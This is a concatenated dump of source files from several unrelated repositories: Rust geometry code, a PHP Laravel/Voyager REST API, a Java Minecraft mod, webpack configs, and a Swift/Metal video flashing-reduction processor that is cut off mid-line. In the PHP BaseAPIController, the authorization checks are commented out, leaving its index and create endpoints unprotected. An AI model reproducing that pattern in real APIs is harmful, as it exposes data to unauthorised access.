pub fn horizontal(y: f32) -> Line { Line { homogeneous: Vec3 { x: 0.0, y: -1.0, z: y, }, } } } impl From<Segment> for Line { fn from(segment: Segment) -> Line { let d = segment.direction(); Line { homogeneous: Vec3 { x: d.y, y: -d.x, z: segment.a.y * d.x - segment.a.x * d.y, }, } } }
102a9de40b06f30807a7da04b34dce124fa6edfb
[ "TOML", "Rust" ]
22
Rust
aljazerzen/dgame
de04e89669af159f53b993b5a22c2c5caf816703
dcd85e2085ce984f61a753c73302401985c362f4
refs/heads/master
<file_sep><?php namespace App\Models; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\SoftDeletes; class Product extends Model { use SoftDeletes; protected $table = "products"; protected $fillable = ['name', 'price', 'release_year', 'vendor_id', 'category_id', 'slug', 'created_at', 'updated_at', 'deleted_at']; public function vendor() { return $this->belongsTo('App\Models\Vendor'); } public function category() { return $this->belongsTo('App\Models\Category'); } } <file_sep><?php namespace App\Http\Controllers; use Illuminate\Http\Request; use TCG\Voyager\Facades\Voyager; use TCG\Voyager\Http\Controllers\Controller; class BaseAPIController extends Controller { protected $slug = ""; /** * Display a listing of the resource. * * @return \Illuminate\Http\Response * * Call: http://voyager.devs/api/products/ */ public function index() { $dataType = Voyager::model('DataType')->where('slug', '=', $this->slug)->first(); //$this->authorize('browse', app($dataType->model_name)); $records = $dataType->model_name::all(); return response()->json($records, 200); } public function indexWithTrashed() { $dataType = Voyager::model('DataType')->where('slug', '=', $this->slug)->first(); //$this->authorize('browse', app($dataType->model_name)); $records = $dataType->model_name::withTrashed()->get(); return response()->json($records, 200); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { // } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response * @throws \Illuminate\Auth\Access\AuthorizationException */ public function store(Request $request) { $dataType = Voyager::model('DataType')->where('slug', '=', $this->slug)->first(); //$this->authorize('add', app($dataType->model_name)); $val = $this->validateBread($request->all(), $dataType->addRows); if ($val->fails()) { return response()->json(['errors' => $val->messages()], 400); } $inserted = $dataType->model_name::create($request->all()); return response()->json($inserted, 201); } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response * * Call: http://voyager.devs/api/products/4 */ public function show($id) { $dataType = Voyager::model('DataType')->where('slug', '=', $this->slug)->first(); $record = $dataType->model_name::find($id); if (is_null($record)) { return response()->json(['message' => $dataType->display_name_singular.' not found'], 404); } return response()->json($record, 200); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { // } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { $dataType = Voyager::model('DataType')->where('slug', '=', $this->slug)->first(); $record = $dataType->model_name::find($id); if (is_null($record)) { return response()->json(['message' => $dataType->display_name_singular.' not found'], 404); } $val = $this->validateBread($request->all(), $dataType->editRows, $this->slug, $id); if ($val->fails()) { return response()->json(['errors' => $val->messages()], 400); } $record->update($request->all()); return response()->json($record, 201); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { $dataType = Voyager::model('DataType')->where('slug', '=', $this->slug)->first(); $record = $dataType->model_name::find($id); if (is_null($record)) { return response()->json(['message' => $dataType->display_name_singular.' not found'], 400); } $record->delete(); return response()->json(null, 204); } } <file_sep><?php namespace App\Models; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\SoftDeletes; class Country extends Model { use SoftDeletes; protected $table = "countries"; protected $fillable = ['country_code', 'country_name', 'code', 'created_at', 'updated_at', 'deleted_at']; public function vendors() { return $this->hasMany('App\Models\Vendor'); } } <file_sep><?php use Illuminate\Database\Seeder; use Illuminate\Support\Facades\DB; class CategoriesTableSeeder extends Seeder { /** * Run the database seeds. * * @return void */ public function run() { DB::table('categories')->insert([ ['name' => 'Phone', 'slug' => 'phone'], ['name' => 'Tablet', 'slug' => 'tablet'], ['name' => 'Laptop', 'slug' => 'laptop'], ['name' => 'Headphone', 'slug' => 'headphone'] ]); } } <file_sep><?php namespace App\Http\Controllers\Country; use App\Http\Controllers\BaseAPIController; class CountryController extends BaseAPIController { public function __construct() { $this->slug = "countries"; } }
b7027420f2416f1f929cba183cde98666d13836e
[ "PHP" ]
5
PHP
ngoclong1997/voyager-learning
51c355c91a4be69752c7961c2f2915d81ec885bf
2d634588d23a7e7fba9814ca4b5b1b361867ea7c
refs/heads/master
<repo_name>TheCahyag/DeepThought<file_sep>/src/main/java/com/servegame/bl4de/DeepThought/proxy/DedicatedServerProxy.java package com.servegame.bl4de.DeepThought.proxy; import net.minecraftforge.fml.common.event.FMLInitializationEvent; import net.minecraftforge.fml.common.event.FMLPostInitializationEvent; import net.minecraftforge.fml.common.event.FMLPreInitializationEvent; /** * File: DedicatedServerProxy.java * * @author <NAME> (<EMAIL>) */ public class DedicatedServerProxy extends CommonProxy { @Override public void init(FMLPreInitializationEvent event) { // TODO } @Override public void init(FMLInitializationEvent event) { // TODO } @Override public void init(FMLPostInitializationEvent event) { // TODO } @Override public boolean isDedicatedServer() { return true; } @Override protected void onTick() { ++this.serverTickCount; } } <file_sep>/README.md # Deep Thought **Statement of Purpose:** Deep Thought is a mod for Minecraft that challenges a player’s ability to generate Redstone Flux (RF). When starting a Minecraft world or server the timer starts as soon as the first player joins and at spawn a `<block>` representing the server is spawned. It has a dynamic internal power storage that is continually drained by the <block’s> perpetual need for RF (to run the Minecraft world of course). Initially, the `<server block>` will start with `<default RF>` and will consume 0 RF/t. As time goes on the `<server block>` will demand more and more power. When the power runs out, you have failed at your one job... wip todo<file_sep>/src/main/java/com/servegame/bl4de/DeepThought/proxy/CommonProxy.java package com.servegame.bl4de.DeepThought.proxy; import com.sun.istack.internal.NotNull; import net.minecraftforge.fml.common.event.FMLInitializationEvent; import net.minecraftforge.fml.common.event.FMLPostInitializationEvent; import net.minecraftforge.fml.common.event.FMLPreInitializationEvent; import net.minecraftforge.fml.common.eventhandler.SubscribeEvent; import net.minecraftforge.fml.common.gameevent.TickEvent; /** * File: CommonProxy.java * * @author <NAME> (<EMAIL>) */ public abstract class CommonProxy { public static final String CLIENT = "com.servegame.bl4de.DeepThought.proxy.ClientProxy"; public static final String SERVER = "com.servegame.bl4de.DeepThought.proxy.DedicatedServerProxy"; protected long serverTickCount = 0; protected long clientTickCount = 0; protected final TickTimer tickTimer = new TickTimer(); /** * TODO * @param event */ public abstract void init(FMLPreInitializationEvent event); /** * TODO * @param event */ public abstract void init(FMLInitializationEvent event); /** * TODO * @param event */ public abstract void init(FMLPostInitializationEvent event); /** * Is this a dedicated server? * @return True if this is {@link DedicatedServerProxy}, false otherwise */ public abstract boolean isDedicatedServer(); /** * Increment the counter for either the client or the server */ protected abstract void onTick(); /** * TODO */ public final class TickTimer { @SubscribeEvent public void onTick(@NotNull TickEvent.ServerTickEvent event){ if (event.phase == TickEvent.Phase.END){ CommonProxy.this.onTick(); } } @SubscribeEvent public void onTick(@NotNull TickEvent.ClientTickEvent event){ if (event.phase == TickEvent.Phase.END){ CommonProxy.this.onTick(); } } } } <file_sep>/settings.gradle rootProject.name = 'DeepThought'
f45194e8c752609d4f6ab232e6f4684f9efe02c0
[ "Markdown", "Java", "Gradle" ]
4
Java
TheCahyag/DeepThought
580ec2117c2ec22f240efe93f575dd5f0afd83a7
cc829f059c941d6037b50ef4d167c50a8f9dcc43
refs/heads/master
<file_sep>// Created by kirby15 on 2/1/18. import React from 'react'; import ReactDOM from 'react-dom'; import { AppContainer } from 'react-hot-loader'; import ReactApp from './app'; import '../sass/main.scss'; const render = (App) => { ReactDOM.render( <AppContainer> <App /> </AppContainer>, document.getElementById('root') ); }; render(ReactApp); if (module.hot) { module.hot.accept('./app', () => { render(ReactApp); }); } <file_sep>// Created by kirby15 on 2/1/18. module.exports = [ 'react', 'react-dom' ]; <file_sep># react-webpack-boilerplate Simple React Webpack Starter App <file_sep>// Created by kirby15 on 2/1/18. module.exports = { ignore: ['node_modules'], presets: [ '@babel/preset-react', [ '@babel/preset-env', { targets: {browsers: ['last 2 versions']}, modules: false } ] ], plugins: [ 'react-hot-loader/babel' ] }; <file_sep>// Created by kirby15 on 2/1/18. const autoprefixer = require('autoprefixer'); const MiniCssExtractPlugin = require('mini-css-extract-plugin'); const isProduction = process.env.NODE_ENV === 'production'; const scssCommonLoaders = [ { loader: MiniCssExtractPlugin.loader, options: { hmr: !isProduction, reloadAll: !isProduction } }, { loader: 'css-loader', options: { sourceMap: !isProduction } }, { loader: 'sass-loader', options: { sourceMap: !isProduction } }, { loader: 'postcss-loader', options: { plugins: [autoprefixer({ browsers: 'last 2 versions' })] } } ]; module.exports = { module: { rules: [ { test: /\.js/, exclude: /node_modules/, use: 'babel-loader' }, { test: /\.scss/, use: scssCommonLoaders } ] } }; <file_sep>// Created by kirby15 on 2/1/18. const webpack = require('webpack'); const HtmlWebpackPlugin = require('html-webpack-plugin'); const AddAssetsHtmlPlugin = require('add-asset-html-webpack-plugin'); const MiniCssExtractPlugin = require('mini-css-extract-plugin'); const path = require('path'); const webpackConfig = require('./common'); module.exports = { ...webpackConfig, mode: 'development', devtool: 'source-map', devServer: { open: true, port: 9020 }, entry: { app: [ 'react-hot-loader/patch', './src/index.js' ] }, output: { filename: '[name].js', path: path.resolve(__dirname, '..', '..', 'dist'), publicPath: '/' }, plugins: [ new webpack.DllReferencePlugin({ manifest: path.resolve(__dirname, '..', 'manifest', 'vendor.json') }), new HtmlWebpackPlugin({ template: path.resolve(__dirname, '..', '..', 'src', 'index.html') }), new AddAssetsHtmlPlugin({ filepath: path.resolve(__dirname, '..', 'vendor-scripts', 'vendor.*.js') }), new MiniCssExtractPlugin({ filename: '[name].css' }) ] };
9a6731b1d3935f485d4b49c852e252888aa7f8ac
[ "JavaScript", "Markdown" ]
6
JavaScript
kirbyjs/react-webpack-boilerplate
ce8fe6fcc78b9f96808f4c1ab8b97f12304d0284
b04b3f2b39b59198a009b4b2b48035c860a68c75
refs/heads/main
<repo_name>apple/VideoFlashingReduction<file_sep>/VideoFlashingReduction_Xcode/VideoFlashingReduction/VideoProcessor.swift // // VideoProcessor.swift // VideoFlashingReduction // import Foundation import Metal import os import CoreVideo @_implementationOnly import VideoFlashingReduction_Bridge_Internal public final class VideoProcessor: NSObject { struct KernelData { public var length: [UInt] = Array(repeating: 0, count: Int(numAdaptationConditions)) public var array: [Float] = Array() } struct ArrayData { public var length: UInt public var array: [Float] = Array() } private var needsInitialization: Bool = true private var device: MTLDevice? private var commandQueue: MTLCommandQueue? private var library: MTLLibrary? private var previousSurfaceTime: CFAbsoluteTime = 0 private var cptPSO_RiskComputePass0: MTLComputePipelineState? private var cptPSO_RiskComputePass1: MTLComputePipelineState? private var cptPSO_RiskComputePass2: MTLComputePipelineState? private var cptPSO_RiskComputePass3: MTLComputePipelineState? private var bufferFrameLumaSum: MTLBuffer? private var bufferData: MTLBuffer? private var bufferCurState: MTLBuffer? private var bufferGammaKernel: MTLBuffer? private var bufferEnergy: MTLBuffer? private var bufferEnergy2: MTLBuffer? private var bufferContrastKernel: MTLBuffer? private var bufferContrast: MTLBuffer? private var bufferResponses: MTLBuffer? private var bufferResponsesNorm: MTLBuffer? private var bufferResults: MTLBuffer? private var bufferDataDebug: MTLBuffer? private var sourceTexture: MTLTexture? private var processedTexture: MTLTexture? = nil private var bufferConstants: ConstBuf private var fps: Float = 60.0 private var nits: Float = 0 private var area: Float = 1265.63 private var avl: Float = 0.15 private var gain: Float = 1.0 private var energyPoolGammaShape: Float = 2.0 private var energyPoolGammaScale: Float = 0.15 private var probabilityPoolGammaShape: Float = 4.0 private var probabilityPoolExponent: Float = 4.0 private var cA: Float = 0.263 private var tauAdapt: Float = 1.0 private var tauMitigation: Float = 2.0 private var idxFrameRate: Int = 0 private var idxEquivalentSize: Int = 0 private var idxEquivalentKernelIndex: Int = 0 private var frameDeltas: [Double] private var framePoolIndex: Int = 0 public var validationCallback: ((Float, Float, Float) -> Void)? public var inTestingMode: Bool = false public var debugMode: Bool = false { didSet { bufferConstants.bDebug = self.debugMode } } @objc public override init() { frameDeltas = Array(repeating: 1.0 / 30.0, count: Int(FPS_Pool_Cnt)) bufferConstants = ConstBuf() super.init() } private func initialize() { UMFKernels().initUMFKernels() device = MTLCreateSystemDefaultDevice() guard let device = device else { return } commandQueue = device.makeCommandQueue() let scope = MTLCaptureManager.shared().makeCaptureScope(device: device) MTLCaptureManager.shared().defaultCaptureScope = scope do { try library = device.makeDefaultLibrary(bundle: Bundle(for: VideoProcessor.self)) } catch { os_log("Error making library: %@", log: .default, type: .error, error.localizedDescription) } initializeBuffers() bufferDataDebug = device.makeBuffer(length: Int(DEVAR_Cnt) * MemoryLayout<Float>.stride, options: .storageModeShared) resetState() if let cs = library?.makeFunction(name: "cs_compute_risk_pass0") { do { try cptPSO_RiskComputePass0 = device.makeComputePipelineState(function: cs) } catch { os_log("Error creating cs_compute_risk_pass0: %@", log: .default, type: .error, error.localizedDescription) } } if let cs = library?.makeFunction(name: "cs_compute_risk_pass1") { do { try cptPSO_RiskComputePass1 = device.makeComputePipelineState(function: cs) } catch { os_log("Error creating cs_compute_risk_pass1: %@", log: .default, type: .error, error.localizedDescription) } } if let cs = library?.makeFunction(name: "cs_compute_risk_pass2") { do { try cptPSO_RiskComputePass2 = device.makeComputePipelineState(function: cs) } catch { os_log("Error creating cs_compute_risk_pass2: %@", log: .default, type: .error, error.localizedDescription) } } if let cs = library?.makeFunction(name: "cs_compute_risk_pass3") { do { try cptPSO_RiskComputePass3 = device.makeComputePipelineState(function: cs) } catch { os_log("Error creating cs_compute_risk_pass3: %@", log: .default, type: .error, error.localizedDescription) } } needsInitialization = false } private func initializeBuffers() { guard let device else { return } let options: MTLResourceOptions = [.hazardTrackingModeTracked, .storageModePrivate] let sizes: [Int] = [ MemoryLayout<__int32_t>.stride, MemoryLayout<Float>.stride * Int(DEVAR_Cnt), MemoryLayout<CurState>.stride, MemoryLayout<Float>.stride * Int(maxGammaKernelLength), // For Gamma Kernel MemoryLayout<Float>.stride * Int(maxGammaKernelLength * numAdaptationConditions), // For Energy Buffer MemoryLayout<Float>.stride * Int(maxGammaKernelLength * numAdaptationConditions), // For Energy Buffer2 MemoryLayout<Float>.stride * Int(maxContrastKernelLength * numAdaptationConditions), // For contrast kernel (5 of them for 5 brightness) MemoryLayout<Float>.stride * Int(maxContrastKernelLength * numAdaptationConditions), // For contrast buffer (5 of them for 5 brightenss) MemoryLayout<Float>.stride * Int(numAdaptationConditions), // For response buffer (5 of them for 5 brightness) MemoryLayout<Float>.stride * Int(numAdaptationConditions), // For normalized response buffer (5 of them for 5 brightness) MemoryLayout<Float>.stride * Int(numAdaptationConditions * 2) // For results (5 energy result each for one adaptation condition) ] var alignedSize: size_t = 0 for i in 0..<sizes.count { let sa: MTLSizeAndAlign = device.heapBufferSizeAndAlign(length: sizes[i], options: options) alignedSize += (sa.size + sa.align - 1) & ~(sa.align - 1) } let heapDescriptor = MTLHeapDescriptor() heapDescriptor.size = alignedSize heapDescriptor.hazardTrackingMode = .tracked let heap = device.makeHeap(descriptor: heapDescriptor) guard let heap else { return } if let buffer = heap.makeBuffer(length: sizes[0], options: options) { bufferFrameLumaSum = buffer } if let buffer = heap.makeBuffer(length: sizes[1], options: options) { bufferData = buffer } if let buffer = heap.makeBuffer(length: sizes[2], options: options) { bufferCurState = buffer } if let buffer = heap.makeBuffer(length: sizes[3], options: options) { bufferGammaKernel = buffer } if let buffer = heap.makeBuffer(length: sizes[4], options: options) { bufferEnergy = buffer } if let buffer = heap.makeBuffer(length: sizes[5], options: options) { bufferEnergy2 = buffer } if let buffer = heap.makeBuffer(length: sizes[6], options: options) { bufferContrastKernel = buffer } if let buffer = heap.makeBuffer(length: sizes[7], options: options) { bufferContrast = buffer } if let buffer = heap.makeBuffer(length: sizes[8], options: options) { bufferResponses = buffer } if let buffer = heap.makeBuffer(length: sizes[9], options: options) { bufferResponsesNorm = buffer } if let buffer = heap.makeBuffer(length: sizes[10], options: options) { bufferResults = buffer } } private func computeFrameRateIndexSelection() -> Int { let size = (MemoryLayout.stride(ofValue: standardFrameRates) / MemoryLayout.stride(ofValue: standardFrameRates.0)) var resultIdx = 0 var minDelta: Float = 1000.0 for i in 0..<size { let delta = withUnsafePointer(to: standardFrameRates) { ptr in ptr.withMemoryRebound(to: Float.self, capacity: MemoryLayout.stride(ofValue: standardFrameRates)) { return $0[i] - fps } } if delta <= minDelta { minDelta = delta resultIdx = i } } return resultIdx } enum DeviceClass { case watch, mac, iphone, ipad } private func computeDisplaySizeIndexSelection(_ deviceClass: DeviceClass) { /* The three standard sizes refer to the approximate dimensions of Apple Watch, iPhone, and MacBook. The units are degrees of visual angle. The actual input to the metric is area, in square degrees. That is then matched/approximated by the nearest standard size, and a one-time adjustment is also made to deal with the actual size/area not exactly matching one of the standards. */ switch deviceClass { case .watch: idxEquivalentKernelIndex = 0 idxEquivalentSize = 0 area = 22.5 break case .iphone: idxEquivalentKernelIndex = 1 idxEquivalentSize = 1 area = 250 break case .ipad: idxEquivalentKernelIndex = 2 idxEquivalentSize = 2 area = 1000 case .mac: idxEquivalentKernelIndex = 2 idxEquivalentSize = 3 area = 1265.625 break } } private func prepareGammaKernel(width: Float, shape: Float, scale: Float) -> ArrayData { var array: [Float] = Array(repeating: 0, count: Int(maxGammaKernelLength)) let quantile: Float = 0.99 let divs: [Float] = [1.0, 1.0, 2.0, 6.0, 24.0, 120.0, 720.0, 5040.0] let divIdx = Int(shape - 1) let div = divs[divIdx] var t: Float = 0.0 var length = 0 var sum: Float = 0.0 while sum / width <= quantile || t < 2.0 { t += 1.0 / width let val = (expf(-(t / scale)) * powf(scale, -shape) * powf(t, (-1.0 + shape))) / div sum += val array[length] = val length = length + 1 } return ArrayData(length: UInt(length), array: array) } private func prepareContrastKernels() -> KernelData { let size = MemoryLayout<Float>.stride * Int(maxContrastKernelLength) * Int(numAdaptationConditions) var array: [Float] = Array(repeating: 0, count: size) var length: [UInt] = Array(repeating: 0, count: Int(numAdaptationConditions)) let kernels = UMFKernels() for i in 0..<Int(numAdaptationConditions) { var idx = Int(maxContrastKernelLength) * i length[i] = 0 for value in kernels.UMFKernels[idxEquivalentKernelIndex][i][idxFrameRate] { array[idx] = Float(value) length[i] += 1 idx += 1 } } return KernelData(length: length, array: array) } private func resetState() { idxFrameRate = computeFrameRateIndexSelection() computeDisplaySizeIndexSelection(.mac) // Update GammaKernel let gammaKernelData = prepareGammaKernel(width: fps, shape: energyPoolGammaShape, scale: energyPoolGammaScale) // Reset ContrastBuffers, and update ContrastKernels let kernelData = prepareContrastKernels() // Reset CurState buffer let displaySize = withUnsafePointer(to: standardSizes) { ptr in ptr.withMemoryRebound(to: Float.self, capacity: MemoryLayout.stride(ofValue: standardSizes)) { return $0[idxEquivalentSize] } } var curState = CurState(uContrastBufStartIdx: 0, uGammaKernelLen: UInt32(gammaKernelData.length), fAdaptationLevel: nits * avl, fMuAdapt: 1.0 - exp(-1.0 / (tauAdapt * fps)), fMuMitigation: 1.0 - exp(-1.0 / (tauMitigation * fps)), fResponseAdjust: pow(sqrt(area * 1.6) / displaySize, 2.0 * cA) * (gain / pow(fps, 1.0 / energyPoolExponent)), fPoolEnergy: 0, fPoolEnergy2: 0, fMitigationContrastFactor: 0, fNIU0: 0, fNIU1: 0, fNIU2: 0, fRiskValue: 0, fTime: 0, fEDR: 1, uEnergyStartIdx: 0, uCurStartIdx: (0, 0, 0, 0, 0), uKernelLen: (0, 0, 0, 0, 0), fContrastKernelMagnitude: (0, 0, 0, 0, 0), fNormEnergyThreshold: (0, 0, 0, 0, 0)) for i in 0..<Int(numAdaptationConditions) { withUnsafeMutablePointer(to: &curState.uKernelLen) { kernelLengthBuffer in kernelLengthBuffer.withMemoryRebound(to: uint.self, capacity: MemoryLayout<uint>.stride * Int(numAdaptationConditions)) { $0[i] = UInt32(kernelData.length[i]) } } let startIdx = Int(maxContrastKernelLength) * i var sum: Float = 0 for j in 0..<Int(kernelData.length[i]) { sum = sum + pow(kernelData.array[startIdx + j], 2.0) } withUnsafeMutablePointer(to: &curState.fContrastKernelMagnitude) { magnitude in magnitude.withMemoryRebound(to: Float.self, capacity: MemoryLayout<Float>.stride * Int(numAdaptationConditions)) { $0[i] = sum } } let normEnergyThresholdValue = withUnsafePointer(to: NormEnergyThreshold) { return withUnsafePointer(to: $0[idxFrameRate]) { return $0.withMemoryRebound(to: Float.self, capacity: MemoryLayout.stride(ofValue: $0)) { return $0[i] } } } withUnsafeMutablePointer(to: &curState.fNormEnergyThreshold) { normEnergy in normEnergy.withMemoryRebound(to: Float.self, capacity: MemoryLayout<Float>.stride * Int(numAdaptationConditions)) { $0[i] = normEnergyThresholdValue } } } guard let device else { return } let contrastKernelSize = MemoryLayout<Float>.stride * Int(maxContrastKernelLength) * Int(numAdaptationConditions) guard let bufferContrastKernels = device.makeBuffer(bytes: kernelData.array, length: contrastKernelSize, options: .storageModeShared) else { return } let gammaKernelSize = MemoryLayout<Float>.stride * Int(gammaKernelData.length) guard let gammaBuffer = device.makeBuffer(bytes: gammaKernelData.array, length: gammaKernelSize, options: .storageModeShared) else { return } guard let commandQueue else { return } guard let currentBuffer = device.makeBuffer(bytes: &curState, length: MemoryLayout<CurState>.stride, options: .storageModeShared) else { return } guard let commandBuffer = commandQueue.makeCommandBuffer() else { return } if let encoder = commandBuffer.makeBlitCommandEncoder() { if let buffer = bufferCurState { encoder.copy(from: currentBuffer, sourceOffset: 0, to: buffer, destinationOffset: 0, size: MemoryLayout<CurState>.stride) } if let buffer = bufferGammaKernel { encoder.copy(from: gammaBuffer, sourceOffset: 0, to: buffer, destinationOffset: 0, size: gammaKernelSize) } if let buffer = bufferContrastKernel { encoder.copy(from: bufferContrastKernels, sourceOffset: 0, to: buffer, destinationOffset: 0, size: contrastKernelSize) } if let buffer = bufferContrast { encoder.fill(buffer: buffer, range: 0..<contrastKernelSize, value: 0) } if let buffer = bufferEnergy { encoder.fill(buffer: buffer, range: 0..<gammaKernelSize, value: 0) } if let buffer = bufferEnergy2 { encoder.fill(buffer: buffer, range: 0..<gammaKernelSize, value: 0) } if let buffer = bufferDataDebug { encoder.fill(buffer: buffer, range: 0..<MemoryLayout<Float>.stride * Int(DEVAR_Cnt), value: 0) } encoder.endEncoding() } commandBuffer.commit() if inTestingMode { return } guard let commandBuffer: MTLCommandBuffer = commandQueue.makeCommandBuffer() else { return } commandBuffer.commit() } private func processFrame(_ commandBuffer: MTLCommandBuffer, _ sourceSurface: IOSurface, _ outSurface: IOSurface) { let width = IOSurfaceGetWidth(sourceSurface) let height = IOSurfaceGetHeight(sourceSurface) bufferConstants.fPixelCnt = Float(width * height) let descriptor = MTLTextureDescriptor.texture2DDescriptor(pixelFormat: pixelFormatForSurface(outSurface), width: width, height: height, mipmapped: false) descriptor.usage = .shaderWrite processedTexture = device?.makeTexture(descriptor: descriptor, iosurface: outSurface, plane: 0) // Clear bufFrameLumaSum if let bce = commandBuffer.makeBlitCommandEncoder(), let buffer = bufferFrameLumaSum { bce.fill(buffer: buffer, range: 0..<buffer.length, value: 0) bce.endEncoding() } guard let cce = commandBuffer.makeComputeCommandEncoder() else { return } cce.label = "Primary Compute Encoder" if let pass0 = cptPSO_RiskComputePass0 { cce.setComputePipelineState(pass0) cce.setTexture(sourceTexture, index: 0) cce.setTexture(processedTexture, index: 1) cce.setBytes(&bufferConstants, length: MemoryLayout<ConstBuf>.stride, index: 0) if let buffer = bufferFrameLumaSum { cce.setBuffer(buffer, offset: 0, index: Int(BUFIDX_pLumaSum)) } if let buffer = bufferData { cce.setBuffer(buffer, offset: 0, index: Int(BUFIDX_pDebug)) } if let buffer = bufferGammaKernel { cce.setBuffer(buffer, offset: 0, index: Int(BUFIDX_pGammaKernel)) } if let buffer = bufferCurState { cce.setBuffer(buffer, offset: 0, index: Int(BUFIDX_CurState)) } let threadWidth = pass0.threadExecutionWidth let threadGroup = pass0.maxTotalThreadsPerThreadgroup / threadWidth let threadPerThreadgroup = MTLSizeMake(threadWidth, threadGroup, 1) let threadsPerGrid = MTLSizeMake(width, height, 1) cce.dispatchThreads(threadsPerGrid, threadsPerThreadgroup: threadPerThreadgroup) } if let pass1 = cptPSO_RiskComputePass1 { cce.setComputePipelineState(pass1) cce.setBytes(&bufferConstants, length: MemoryLayout<ConstBuf>.stride, index: Int(BUFIDX_cParams)) if let buffer = bufferFrameLumaSum { cce.setBuffer(buffer, offset: 0, index: Int(BUFIDX_pLumaSum)) } if let buffer = bufferData { cce.setBuffer(buffer, offset: 0, index: Int(BUFIDX_pDebug)) } if let buffer = bufferGammaKernel { cce.setBuffer(buffer, offset: 0, index: Int(BUFIDX_pGammaKernel)) } if let buffer = bufferCurState { cce.setBuffer(buffer, offset: 0, index: Int(BUFIDX_CurState)) } if let buffer = bufferContrastKernel { cce.setBuffer(buffer, offset: 0, index: Int(BUFIDX_pContrastKernels)) } if let buffer = bufferContrast { cce.setBuffer(buffer, offset: 0, index: Int(BUFIDX_pContrast)) } if let buffer = bufferResponses { cce.setBuffer(buffer, offset: 0, index: Int(BUFIDX_pResponses)) } if let buffer = bufferResponsesNorm { cce.setBuffer(buffer, offset: 0, index: Int(BUFIDX_pResponsesNorm)) } cce.dispatchThreads(MTLSizeMake(Int(maxContrastKernelLength * numAdaptationConditions), 1, 1), threadsPerThreadgroup: MTLSizeMake(Int(maxContrastKernelLength), 1, 1)) } if let pass2 = cptPSO_RiskComputePass2 { cce.setComputePipelineState(pass2) cce.setBytes(&bufferConstants, length: MemoryLayout<ConstBuf>.stride, index: Int(BUFIDX_cParams)) if let buffer = bufferData { cce.setBuffer(buffer, offset: 0, index: Int(BUFIDX_pDebug)) } if let buffer = bufferGammaKernel { cce.setBuffer(buffer, offset: 0, index: Int(BUFIDX_pGammaKernel)) } if let buffer = bufferCurState { cce.setBuffer(buffer, offset: 0, index: Int(BUFIDX_CurState)) } if let buffer = bufferResponses { cce.setBuffer(buffer, offset: 0, index: Int(BUFIDX_pResponses)) } if let buffer = bufferResponsesNorm { cce.setBuffer(buffer, offset: 0, index: Int(BUFIDX_pResponsesNorm)) } if let buffer = bufferEnergy { cce.setBuffer(buffer, offset: 0, index: Int(BUFIDX_pEnergy)) } if let buffer = bufferEnergy2 { cce.setBuffer(buffer, offset: 0, index: Int(BUFIDX_pEnergy2)) } if let buffer = bufferResults { cce.setBuffer(buffer, offset: 0, index: Int(BUFIDX_pResults)) } cce.dispatchThreads(MTLSizeMake(Int(maxGammaKernelLength * numAdaptationConditions), 1, 1), threadsPerThreadgroup: MTLSizeMake(Int(maxGammaKernelLength), 1, 1)) } if let pass3 = cptPSO_RiskComputePass3 { cce.setComputePipelineState(pass3) cce.setBytes(&bufferConstants, length: MemoryLayout<ConstBuf>.stride, index: Int(BUFIDX_cParams)) if let buffer = bufferCurState { cce.setBuffer(buffer, offset: 0, index: Int(BUFIDX_CurState)) } if let buffer = bufferData { cce.setBuffer(buffer, offset: 0, index: Int(BUFIDX_pDebug)) } if let buffer = bufferResults { cce.setBuffer(buffer, offset: 0, index: Int(BUFIDX_pResults)) } cce.dispatchThreads(MTLSizeMake(1, 1, 1), threadsPerThreadgroup: MTLSizeMake(1, 1, 1)) } cce.endEncoding() // Copy debug info to shared buffer for readback if bufferConstants.bDebug && !bufferConstants.bProtected { if let bce = commandBuffer.makeBlitCommandEncoder() { if let bufferData = bufferData, let bufferDataDebug = bufferDataDebug { bce.copy(from: bufferData, sourceOffset: 0, to: bufferDataDebug, destinationOffset: 0, size: MemoryLayout<Float>.stride * Int(DEVAR_Cnt)) } bce.endEncoding() } } } private func pixelFormatForSurface(_ surface: IOSurface) -> MTLPixelFormat { switch IOSurfaceGetPixelFormat(surface) { case kCVPixelFormatType_32RGBA: return .rgba8Unorm case kCVPixelFormatType_32BGRA: return .bgra8Unorm case kCVPixelFormatType_64RGBAHalf: return .rgba16Float case kCVPixelFormatType_30RGBLEPackedWideGamut: return .bgr10_xr default: return .rgba8Unorm } } @objc public func processSurface(sourceSurface: IOSurface, timestamp: CFTimeInterval, destinationSurface: IOSurface, options: NSDictionary) { if needsInitialization { initialize() } var deltaT = timestamp - previousSurfaceTime deltaT = max(deltaT, 1.0 / 120.0) deltaT = min(deltaT, 1.0 / 24.0) frameDeltas[framePoolIndex] = deltaT framePoolIndex = (framePoolIndex + 1) % Int(FPS_Pool_Cnt) var maxDelta = 0.001 var minDelta = 10.0 var sumDelta = 0.0 for i in 0..<FPS_Pool_Cnt { minDelta = min(minDelta, frameDeltas[Int(i)]) maxDelta = max(maxDelta, frameDeltas[Int(i)]) sumDelta += frameDeltas[Int(i)] } let oldFps = fps fps = Float(FPS_Pool_Cnt - 2) / Float(sumDelta - minDelta - maxDelta) previousSurfaceTime = timestamp let width = IOSurfaceGetWidth(sourceSurface) let height = IOSurfaceGetHeight(sourceSurface) // The embedded video movie.mp4 uses NTSC color space. // Other video formats will need to indicate different uEOTF and uColSpace values bufferConstants.uEOTF = uint(SRGB) bufferConstants.uColSpace = uint(BT709) if (timestamp - previousSurfaceTime) > 1.0 || abs(fps - oldFps) >= 5.0 { resetState() } let descriptor = MTLTextureDescriptor.texture2DDescriptor(pixelFormat: pixelFormatForSurface(sourceSurface), width: width, height: height, mipmapped: false) descriptor.usage = .shaderRead guard let device else { return } sourceTexture = device.makeTexture(descriptor: descriptor, iosurface: sourceSurface, plane: 0) bufferConstants.maxNits = (options["displayMaxNits"] as? NSNumber ?? NSNumber(value: 0)).floatValue bufferConstants.edr = (options["sourceSurfaceEDR"] as? NSNumber ?? NSNumber(value: 0)).floatValue bufferConstants.displayEDR = 